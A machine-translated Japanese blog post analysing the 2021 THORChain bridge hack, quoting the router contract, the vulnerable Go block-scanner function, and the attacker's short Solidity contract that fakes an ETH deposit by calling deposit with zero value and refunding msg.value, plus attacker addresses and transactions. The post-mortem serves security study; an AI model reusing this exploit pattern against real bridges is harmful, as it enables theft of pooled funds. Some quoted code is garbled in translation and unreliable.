この攻撃に関連するアドレス:

  • THORChain エクスプロイター 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • THORChain エクスプロイター契約: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • THORChain ルーター (被害者): 0xC145990E84155416144C532E31f89B840Ca8c2cE

当初、https://rekt.news/thorchain-rekt/ の記事を参照するつもりでしたが、彼らが間違った証拠を引用していることに気づき、記事がかなり大雑把だったので、自分で調べることにしました。

ソーチェインの橋のアーキテクチャ

暗号通貨の世界には多くのチェーンがあり、各チェーンには無数の異なる種類のコインがあります。太古の昔から、人々はコインをあるチェーンから別のチェーンに簡単に移動することを夢見てきました。

Anyswap、Binance Bridge など、チェーンを接続するタスクを備えたブリッジが数多く誕生しました。これらのブリッジのほとんどは、両端のロック流動性アーキテクチャに従って構築されており、バリデーターはタスクにイベントをリッスンしたり、トランザクション ロックを処理させたりします。ソースチェーンでロック解除され、宛先チェーンでロックが解除されます。これらは、バリデーター上で他のデリバティブ トランザクションを行わず、ほぼ即時のロックとロック解除の方法で動作します。

Thorchain のブリッジ アーキテクチャの特別な点は何ですか?

image.png

Thorchain という名前が示すように、このブリッジは実際には Cosmos-SDK から構築されたチェーンです。 Cosmos-SDK は暗号通貨の世界で非常に有名で、チェーン、チェーン内のコイン、コインのトランザクション ロジックを簡単に定義できるという利点があり、巨大企業 Binance から信頼されて取引所を構築しました。そして、最初のクロスチェーンともいえるIBC(Inter Blockchain Communication)の思想の基礎を築いたのがCosmos-sdkでした。

これを認識した Thor は、ブリッジの主な素材として Cosmos-SDK を選択しました。

Thorchain では、ノードは一定量のデポジットを預けることで自由にチェーンに参加でき、デポジットはノードが離脱する際に返還されます。ノードは外部チェーン (現在イーサリアム、バイナンス スマート チェーン、ビットコイン、ビットコインキャッシュ、ドージコイン、ライトコインを含む) からブロックをリッスンし、それらを処理して、ブロックから取得した情報を Thorchain (Bifrost レイヤー) に保存する役割を果たします。これは簡単です。 Cosmos-sdk 自体の IBC を使用して、Thorchain 内のノードが相互に一致することを確認します。

Thorchain では、ネイティブコインは RUNE で、スワップ取引手数料とガスの計算に使用されます。

では、ユーザーはどのようにしてThorchainに参加するのでしょうか?

たとえば、イーサリアム上のユーザーが Thorchain にお金を入金したい場合、Thorchain のインターフェースを介して、Thor がデプロイしたスマート コントラクト THORChain_Router 上の deposit() 関数を呼び出します。

// メモ付きの資産を預け入れます。ETH は転送され、ERC-20 は ROUTER に残ります。 function deposit(address payable vault, address asset, uint amount, string memory memo) public payable nonReentrant{ uint safeAmount; if(asset == address(0)){ safeAmount = msg.value; (bool success,) = vault.call{value:safeAmount}(""); require(success); } else if(asset == RUNE) { safeAmount = amount; iRUNE(RUNE).transferTo(address(this), amount); iERC20(RUNE).burn(amount); } else { safeAmount = safeTransferFrom(asset, amount); // 資産を転送します。 vaultAllowance[vault][asset] += safeAmount; // 選択した vault にクレジットします。 } emitting Deposit(vault, asset, safeAmount, memo); }

パラメータは次のとおりです。

  • vault: ユーザーが入金できるアドレスのリスト内のウォレット アドレスです。 Thorchain のドキュメントによると、100 ノードでは入金に使用される Vault が約 3 つあり、ユーザーの出金用の Vault には 100 の Vault があり、これは各ノードが独自の出金 Vault を持つことを意味します。

  • 資産: コインのアドレス。コインが ETH の場合、この値はアドレス (0) です。

  • 量:数量

  • メモ: SWAP:ETH.ETH:RECEIVER_ADDRESS または SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... という形式になります。 このメモは、ユーザーの目標がどのコインをどのコインに交換するか、受信アドレスがどのコインであるかを示すことを目的としています。どのチェーンのアドレスですか?

Thorchain ノードは継続的にイーサリアム上のブロックをリッスンし、ブロック内のトランザクションを処理します。ノードは、deposit() トランザクションのミームに基づいてトランザクション タイプを決定します。流動性の追加またはスワップ (チェーンまたはクロスチェーンとのスワップが可能) が可能であるため、Thorchain は 2 種類のユーザーを作成しました。

  • 流動性プロバイダー: このユーザーはプールに流動性を提供し、スワップ取引から手数料を受け取ります。これらのプールの情報は Thorchain に保存されます。

  • 通常のユーザー: スワップを実行すると手数料を失います。スマート コントラクト上の対応するメモを使用してデポジット関数を呼び出します。ノードはトランザクションを処理して検証し、情報を Thorchain に保存します。その後、transferOut() 関数を呼び出して、対応するチェーン内の受信者アドレスにトークンを出力します。

TransferOut機能:

// すべての vault 呼び出しで、すべての資産をすべての受信者に転送します。 function transferOut(address payable to, address asset, uint amount, string memory memo) public payable nonReentrant { uint safeAmount; bool success; if(asset == address(0)){ safeAmount = msg.value; (success,) = to.call{value:msg.value}(""); // ETH を送信します } else { vaultAllowance[msg.sender][asset] -= amount; // 許容量を減らします (success,) = asset.call(abi.encodeWithSignature("transfer(address,uint256)" , to, amount)); safeAmount = amount; } require(success); emitting TransferOut(msg.sender, to, asset, safeAmount, memo); }

穴はどこにありますか?

答えは、ノードの Bifrost レイヤー、より具体的にはノードの Ethereum Block Scanner モジュールにあるということです。

それでは、Gitlab の Thorchain のコミットを Thornode リポジトリで追跡していきます。

eab0715650919a1f1ba525011423e71b53ffb27b のハッシュを使用して「[BUG] ETH チェーン攻撃を修正する」としてコミットセットが設定されているため、このコミット、特にファイル bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go に焦点を当てます。

854 行目あたりから https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27#4e8376fdec8edf86c2833023ec44a12c1c2 までの関数 getTxInFromSmartContract() にいくつかの重要な変更が加えられていることがわかります。 048cb_854_854、脆弱性はおそらくこれにあります。

commit「[BUG] ETH チェーン攻撃の修正」をマージする前に、この関数のコードを見てみましょう。

// getTxInFromSmartContract は txInItem を返します func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, receipt etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg("parse tx from smart contract") txInItem := &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } sender, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("fail to get sender: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 はトランザクション成功状態 if received.Status != 1 { e.logger.Info().Msgf("tx(%s) state: %d means failed 、 ignore", tx.Hash().String(), receipt.Status) return nil, nil } for 、 item := range receives.Logs { switch item.Topics[0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("fail to parse deposit event: %w", err) } e.logger.Info().Msgf("deposit:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo asset, err := e.getAssetFromTokenAddress(depositEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("トークン アドレスからアセットを取得できませんでした: %w", err) } if asset.IsEmpty() { return nil, nil } 小数点:= e.getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("トークン:%s、小数点:%d", depositEvt.Asset, 小数点) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimals)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil, fmt.Errorf("転送イベントの解析に失敗しました: %w", err) } e.logger.Info().Msgf("転送出力: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String() txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo asset, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("トークン アドレスからのアセットの取得に失敗しました: %w", err) } if asset.IsEmpty() { return nil, nil } 小数点 := e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimals)) case transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("転送許可イベントの解析に失敗しました: %w", err) } e.logger.Info().Msgf("転送許可: %+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo asset, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("トークンアドレスからアセットを取得できませんでした: %w", err) } if asset.IsEmpty() { return nil, nil } 小数点 := e.getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(decimals)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("トークンアドレスからアセットを取得できませんでした: %w", err) }ボールト転送イベントを解析: %w", err) } e.logger.Info().Msgf("ボールト転送: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo for , item := range transferEvent.Coins { asset, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("トークン アドレスからアセットを取得できませんでした: %w", err) } if asset.IsEmpty() { return nil, nil } 小数点 := e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset.String(), item.Amount)).WithDecimals(decimals)) } } } // ルーターのアップグレードを行う際、eth 値を含む tx とともに複数の deposit イベントが生成される可能性があるため、この部分を上記のループの外側に保つことが重要です。ethValue := cosmos。NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s、ガス価格: %s、ガス使用量: %d、レシートステータス: %d", txInItem.Tx, tx.GasPrice().String(), receipt.GasUsed, receipt.Status) // いかなる状況でも、ETH ガス価格は 1 Gwei 未満にはなりません。ただし、開発環境では除きます。 txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, receipt.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("このトランザクションにはコインがありません。無視してください。%+v", txInItem) return nil, nil } e.logger.Debug().Msgf("アイテム内のトランザクション: %+v", txInItem) return txInItem, nil }

この関数は、txn が成功したかどうかを確認する役割を果たします。成功した場合は、その txn から発行されたイベントを処理して、ユーザーがどのコインからどのコインに交換したいかを確認します (同じチェーンでも異なるチェーンでも構いません)。 ) この関数の出力はノードによって保存され、Thorchain にブロードキャストされ、その後ノードはスワップの完了を検討するために受信アドレスにコインを送信します。

depositEvent の場合の注意: これは、イベント ノードが THORChain_Router コントラクトのイベント Deposit (インデックス付けされたアドレス、インデックス付けされたアセットのアドレス、単位量、文字列メモ) である場合に処理されるケースです。入力コイン、数量、メモを決定し、メモに基づいて出力コイン、ユーザーの希望する受信アドレスを決定します。

for ループを終了すると、ネイティブ コイン ETH の入金専用のハンドルが得られます。

// この部分は上記のループの外側に保持することが重要です。ルーターのアップグレードを行うと、eth 値を含む tx とともに複数の入金イベントが生成される可能性があるためです。 ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }

これが欠陥です。上記のコインと数量の情報は Deposit イベントの分析から取得されましたが、ここでは引き続き tx.Value() の分析を行うため、以前に取得した情報が上書きされる可能性があります。

ハッカーはこれに気づき、攻撃するためのスマート コントラクトを作成しました。ロジックは非常に単純で、次のように THORChain_Router をラップしています。

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.3; interface IRouter { function deposit( address payable vault, address asset, uint256 amount, string memory memo ) external payable; } contract Attack { function attack( address router, address payable vault, string memory memo ) external payable { IRouter(router).deposit{value: 0}(vault, address(0), 0, memo); payable(msg.sender).transfer(msg.value); } }

たとえば、ハッカーは Thorchain の特定の有効なボールトを使用して攻撃関数を呼び出します。メモは「SWAP:ETH.ETH」で、msg.value は 100 ETH です。呼び出し後も 100 ETH は依然として彼のものですが、攻撃の内部ではデポジット( )THORChain_Routerの。

このスマート コントラクトを上記のノードの getTxInFromSmartContract() 関数と組み合わせることで、ハッカーは ETH を入金していないにもかかわらず、100 ETH を特定のコインと交換したいとノードを簡単に思い込ませることができました。

Etherescan でのハッカーの txn 履歴は次のとおりです https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

たとえば、この txn https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (ブロック 12833255) を考えてみましょう。ハッカーは100ETHと保管庫0xf56cba49337a624e94042e325ad6bc864436e370、メモ「SWAP:ETH.ETH」を使って攻撃しました。

image.pngTHORChain_Router から発行されたイベントを簡単に確認できます。image.png

Depositイベントの金額は0ですが、tx.Value()は100,265ETHです。したがって、ノードは誰かが 100 ETH を 100 ETH に交換したいと考えました =)))。

以上です。ハッカーは 100ETH がウォレットに到着するのを待つだけで済みます。ハッカーへのノード transferOut() 100 ETH のトランザクションは、https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6 です。image.png

ハッカーはこれを何度も繰り返し、プール内の推定価値約500万ドル相当のETHや他のERC20トークンを盗みました。

現在、Thor は Thorchain を修正しましたが、他の潜在的な脆弱性をチェックするためにスワップは一時停止されています。

まとめ

Defi は常にスタートアップだけでなくハッカーにとっても肥沃な土地であり、より多くのモデルが誕生するほど、より多くの脆弱性が出現し、最大で数百万ドルの損失が発生する可能性があります。しかし、完璧に到達するまでには何事も多くの苦痛を経験する必要があり、それを乗り越えることはテクノロジーがますます良くなることを意味します。

この記事は 2021 年のものですが、教訓は今も有効です。コミュニティに貴重な記事を投稿してくれた @trinhvantan に感謝します